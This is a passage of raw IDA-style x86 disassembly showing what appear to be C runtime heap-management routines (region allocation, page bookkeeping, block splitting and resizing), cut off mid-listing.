0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A310, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A300 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC944 call near ptr 27A0000h nop mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A300 cmp esi, eax jnz short loc_41EA06 cmp off_43A300, 0 jnz short loc_41E9F6 mov off_43A300, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A304, 0 jnz short loc_41EA1B mov off_43A304, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A304 mov [esi+4], eax mov off_43A304, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28B0563h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A300 jz short loc_41EAB3 push esi push 0 push dword_4DC944 nop call near ptr 2790000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28B0563h cmp off_43C320, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C320, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A300 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC944 nop call near ptr 2790000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A310, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A304 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 28B0563h nop test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB324 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A304 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A300 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB324 cmp dword_4DB324, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C320 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C320 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C320, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A300 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28B06D6h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C320, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C320, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC600[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C980 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz 